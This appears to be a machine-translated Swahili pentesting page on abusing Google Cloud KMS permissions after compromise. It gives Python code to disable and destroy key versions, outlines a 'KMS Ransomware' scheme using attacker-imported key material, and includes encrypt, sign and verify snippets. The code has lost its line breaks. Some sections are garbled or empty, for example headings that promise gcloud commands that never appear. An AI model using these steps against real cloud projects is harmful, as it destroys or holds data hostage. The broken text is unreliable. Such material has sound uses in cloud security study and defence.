Mshambuliaji mwenye ruhusa hii anaweza kuharibu toleo la KMS. Ili kufanya hivyo unahitaji kwanza kuzima ufunguo na kisha kuuharibu:
# pip install google-cloud-kmsfrom google.cloud import kmsdefdisable_key_version(project_id,location_id,key_ring_id,key_id,key_version):"""Disables a key version in Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Call the API to disable the key version.client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
defdestroy_key_version(project_id,location_id,key_ring_id,key_id,key_version):"""Destroys a key version in Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Call the API to destroy the key version.client.destroy_crypto_key_version(request={'name': key_version_name})# Example usageproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'key_version ='1'# Version number to disable and destroy# Disable the key versiondisable_key_version(project_id, location_id, key_ring_id, key_id, key_version)# Destroy the key versiondestroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
KMS Ransomware
Katika AWS inawezekana kabisa kuiba ufunguo wa KMS kwa kubadilisha sera ya rasilimali ya KMS na kuruhusu tu akaunti ya mshambulizi kutumia ufunguo huo. Kwa kuwa sera hizi za rasilimali hazipo katika GCP hili haliwezekani.
Hata hivyo, kuna njia nyingine ya kutekeleza KMS Ransomware ya kimataifa, ambayo ingehusisha hatua zifuatazo:
Unda toleo jipya la ufunguo na nyenzo za ufunguo zilizoingizwa na mshambulizi
Hii inaruhusu mtumiaji kutumia toleo la ufunguo wa KMS kwa shughuli za usimbaji fiche. Hii inaweza kutumika kwa shughuli za usimbaji fiche wa data.
Athari
Mvamizi anaweza kutumia ruhusa hii kusimba data kwa kutumia funguo za KMS, ambayo inaweza kusababisha data iliyosimbwa kuwa ngumu kufikia bila ufunguo sahihi.
Upatikanaji
Ruhusa hii inaweza kupatikana kupitia majukumu ya IAM ambayo yanajumuisha ruhusa za KMS.
Mitigations
Punguza ruhusa za IAM kwa watumiaji na majukumu ambayo yanahitaji tu ruhusa za KMS.
Tumia sera za IAM ili kudhibiti upatikanaji wa funguo za KMS.
Uvujaji
Ruhusa za IAM zinazojumuisha cloudkms.cryptoKeyVersions.useToEncrypt au cloudkms.cryptoKeyVersions.useToEncryptViaDelegation zinaweza kuvuja kupitia mipangilio isiyo salama ya IAM.
Funguo za KMS zinaweza kuvuja ikiwa mvamizi anaweza kupata ruhusa hizi.
Angalia kama mtumiaji ana ruhusa za cloudkms.cryptoKeyVersions.useToEncrypt au cloudkms.cryptoKeyVersions.useToEncryptViaDelegation.
Uboreshaji
Hakikisha kuwa ruhusa za IAM zinapunguzwa kwa watumiaji na majukumu ambayo yanahitaji tu ruhusa za KMS.
Tumia sera za IAM ili kudhibiti upatikanaji wa funguo za KMS.
from google.cloud import kmsimport base64defencrypt_symmetric(project_id,location_id,key_ring_id,key_id,plaintext):"""Encrypts data using a symmetric key from Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key name.key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)# Convert the plaintext to bytes.plaintext_bytes = plaintext.encode('utf-8')# Call the API.encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})ciphertext = encrypt_response.ciphertext# Optional: Encode the ciphertext to base64 for easier handling.return base64.b64encode(ciphertext)# Example usageproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'plaintext ='your-data-to-encrypt'ciphertext =encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
Matumizi ya Ruhusa
Ruhusa ya cloudkms.cryptoKeyVersions.useToSign inaruhusu mtumiaji kutumia toleo la ufunguo wa KMS kusaini data. Hii inaweza kutumika kwa shughuli kama vile kusaini hati au kudhibitisha utambulisho.
Post Exploitation
Baada ya kupata ruhusa ya cloudkms.cryptoKeyVersions.useToSign, unaweza kutumia ufunguo wa KMS kusaini data. Hii inaweza kusaidia katika kudhibitisha hati au shughuli nyingine zinazohitaji saini ya dijiti.
Amri za Gcloud
Unaweza kutumia amri za gcloud kusaini data kwa kutumia ufunguo wa KMS. Hapa kuna mfano wa jinsi ya kufanya hivyo:
Pata jina la ufunguo (<KEY_NAME>), jina la keyring (<KEYRING_NAME>), na eneo (<LOCATION>).
Chagua algorithm ya digest (<DIGEST_ALGORITHM>) na digest (<DIGEST>).
Tumia amri ya gcloud kusaini data.
Hitimisho
Ruhusa ya cloudkms.cryptoKeyVersions.useToSign ni muhimu kwa shughuli zinazohitaji saini ya dijiti. Kwa kutumia amri za gcloud, unaweza kusaini data kwa urahisi na kuhakikisha usalama wa hati zako.
import hashlibfrom google.cloud import kmsdefsign_asymmetric(project_id,location_id,key_ring_id,key_id,key_version,message):"""Sign a message using an asymmetric key version from Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Convert the message to bytes and calculate the digest.message_bytes = message.encode('utf-8')digest ={'sha256': hashlib.sha256(message_bytes).digest()}# Call the API to sign the digest.sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)return sign_response.signature# Example usage for signingproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'key_version ='1'message ='your-message'signature =sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)print('Signature:', signature)
cloudkms.cryptoKeyVersions.useToVerify
Maelezo
Hii inaruhusu mtumiaji kutumia toleo la ufunguo wa KMS kuthibitisha data iliyosainiwa.
Athari
Hii inaweza kuruhusu mshambuliaji kuthibitisha data iliyosainiwa kwa kutumia ufunguo wa KMS, ambayo inaweza kusaidia katika mashambulizi mengine.
Uthibitisho
Hakikisha kuwa una ruhusa ya cloudkms.cryptoKeyVersions.useToVerify kwenye mradi wa GCP. Unaweza kutumia amri ifuatayo ya gcloud kuthibitisha:
Zuia ruhusa ya cloudkms.cryptoKeyVersions.useToVerify kwa watumiaji wasiohitajika.
from google.cloud import kmsimport hashlibdefverify_asymmetric_signature(project_id,location_id,key_ring_id,key_id,key_version,message,signature):"""Verify a signature using an asymmetric key version from Cloud KMS."""# Create the client.client = kms.KeyManagementServiceClient()# Build the key version name.key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Convert the message to bytes and calculate the digest.message_bytes = message.encode('utf-8')digest ={'sha256': hashlib.sha256(message_bytes).digest()}# Build the verify request and call the API.verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)return verify_response.success# Example usage for verificationverified =verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)print('Verified:', verified)